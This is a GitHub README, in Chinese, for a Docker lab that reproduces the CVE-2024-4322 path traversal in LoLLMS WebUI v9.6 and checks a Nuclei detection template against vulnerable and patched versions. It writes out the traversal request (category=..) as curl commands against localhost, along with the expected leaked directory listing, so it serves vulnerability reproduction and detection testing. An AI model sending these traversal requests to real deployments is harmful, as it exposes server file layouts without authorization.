MJ-bin/POC_CVE-2024-4322
GitHub: MJ-bin/POC_CVE-2024-4322
一个基于 Docker 的本地安全靶场,用于复现 LoLLMS WebUI 的 CVE-2024-4322 路径遍历漏洞并验证 Nuclei 检测模板的有效性。
Stars: 0 | Forks: 0
# CVE-2024-4322:LoLLMS WebUI PoC 与 Nuclei 验证实验室
本仓库提供了 Docker 化的本地实验室,用于复现
**CVE-2024-4322**(LoLLMS WebUI v9.6 中的一个路径遍历漏洞),并
验证相关的 Nuclei 模板与 LoLLMS WebUI v9.8 是否不匹配。
请仅针对本地、自有或获得明确授权的目标使用本实验室。
## 漏洞摘要
LoLLMS WebUI v9.6 中的 `/list_personalities` 端点存在路径遍历漏洞。
用户控制的 `category` 参数在未经净化的情况下被附加到
`personalities_zoo_path` 中:
```
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
```
通过发送 `category=..`,请求可以跳出预期的 personalities
目录并列出父目录的内容。
预期的漏洞信号:
```
category= -> []
category=.. -> response contains "personalities_zoo"
```
已修复的 v9.8 版本行为会在列出目录之前拒绝遍历输入。
## 实验室矩阵
| 环境 | 版本 | 服务 | 主机 URL | 预期模板结果 |
| --- | --- | --- | --- | --- |
| Linux 漏洞环境 | v9.6 | `linux-vuln-server` | `http://127.0.0.1:9600` | 匹配 |
| Linux 补丁环境 | v9.8 | `linux-patched-server` | `http://127.0.0.1:9602` | 不匹配 |
| Windows 漏洞环境 | v9.6 | `windows-vuln-server` | `http://127.0.0.1:9601` | 匹配 |
| Windows 补丁环境 | v9.8 | `windows-patched-server` | `http://127.0.0.1:9603` | 不匹配 |
请从包含此 README 的目录中运行所有命令。
## Linux 漏洞实验室
### 1. 启动服务器
```
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
```
等待出现:
```
Uvicorn running on http://0.0.0.0:9600
```
按 `Ctrl-C` 停止跟踪日志。容器将继续运行。
### 2. 验证 HTTP 行为
```
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
```
预期结果:
```
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
```
顺序可能有所不同。重要的信号是,遍历响应与
控制响应不同,并且包含 `personalities_zoo`。
### 3. 使用 Nuclei 验证
```
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
```
预期结果:
```
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..
```

## Linux 补丁实验室
### 1. 启动服务器
```
docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
```
等待出现:
```
Uvicorn running on http://0.0.0.0:9600
```
### 2. 验证 HTTP 行为
```
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
```
预期结果:
```
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
```
### 3. 使用 Nuclei 验证
```
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
```
预期结果:
```
[INF] Scan completed ... 0 matches found.
```

## Windows 漏洞实验室
这需要 Docker Desktop 处于 **Windows 容器** 模式。请在此目录下
使用 PowerShell 运行以下命令。
### 1. 启动服务器
```
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
```
等待出现:
```
Uvicorn running on http://0.0.0.0:9600
```
### 2. 验证 HTTP 行为
```
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
```
预期结果:
```
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
```
顺序可能有所不同。重要的信号是,遍历响应与
控制响应不同,并且包含 `personalities_zoo`。
### 3. 使用 Nuclei 验证
```
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
```
预期结果:
```
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..
```

## Windows 补丁实验室
这需要 Docker Desktop 处于 **Windows 容器** 模式。请在此目录下
使用 PowerShell 运行以下命令。
### 1. 启动服务器
```
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
```
等待出现:
```
Uvicorn running on http://0.0.0.0:9600
```
### 2. 验证 HTTP 行为
```
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
```
预期结果:
```
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
```
### 3. 使用 Nuclei 验证
```
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
```
预期结果:
```
[INF] Scan completed ... 0 matches found.
```

## 清理
Linux 容器:
```
docker compose --profile patched down --rmi local
```
Windows 容器:
```
docker compose --profile windows down
```
## 要求
- Docker 和 Docker Compose。
- Windows 实验室需要处于 Windows 容器模式的 Docker Desktop。
- `curl`。
- Linux 漏洞 HTTP 示例需要 `jq`。
- 用于模板验证的 Nuclei。
如果 Linux 主机上没有 `jq`,请使用 analyst 容器:
```
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
```
如果 Windows 上未安装 Nuclei,请从
`https://github.com/projectdiscovery/nuclei/releases` 下载 Windows 发布二进制文件,
解压缩后直接从提取的目录中运行 `nuclei.exe`。
## 实验室设置说明
Dockerfile 在构建期间修补了历史安装程序,以便该实验室在今天
仍可复现:
- 漏洞实验室克隆了 `lollms-webui` 的 `v9.6` 标签。
- 补丁实验室克隆了 `lollms-webui` 的 `v9.8` 标签。
- `lollms_core` 子模块的 URL 被重写为
`https://github.com/ParisNeo/lollms_legacy.git`,因为旧的源
代码历史记录已移至该处。
- 版本固定是对照上游 Git 元数据检查的:
`v9.6` 为 `e2f2d313cd6ea3fe81dfc4496f985f5b650853b9`,`v9.8` 为
`8a8e3a1c386321f641a014bf8f7029512ccad411`。
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
- 对应的 `lollms_core` 子模块提交为
v9.6 的 `cfb18f6f1091addf440347322441ab28005a2d3b` 和
v9.8 的 `6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49`,这是在每个标签检出上
通过 `git ls-tree HEAD lollms_core` 检查的。
- `auto_update` 和 `auto_sync_*` 选项已被禁用,以保持每个实验室版本固定。
- 注入了无头配置文件,以便服务器可以在没有提示的情况下启动。
- 在可能的情况下,跳过了端点验证不需要的
重型依赖项。
- Windows 安装程序已被修补,以创建其临时目录并
避免过期的递归子模块。
## 补丁基本原理
被破坏的不变式是:
```
resolved path must stay inside the personalities directory
```
LoLLMS WebUI v9.8 及更高版本通过在 `category` 路径到达文件系统目录列出逻辑之前对其进行净化或约束,解决了此问题。对于
实际部署,请将 LoLLMS WebUI 升级到 `9.8` 或更高版本。
标签:CISA项目, CVE-2024-4322, Docker, Docker Compose, Google, LoLLMS WebUI, Nuclei, OPA, PoC, v9.6, Web安全, 安全防御评估, 暴力破解, 漏洞复现, 网络安全, 网络安全审计, 蓝队分析, 请求拦截, 路径穿越, 逆向工具, 隐私保护, 靶场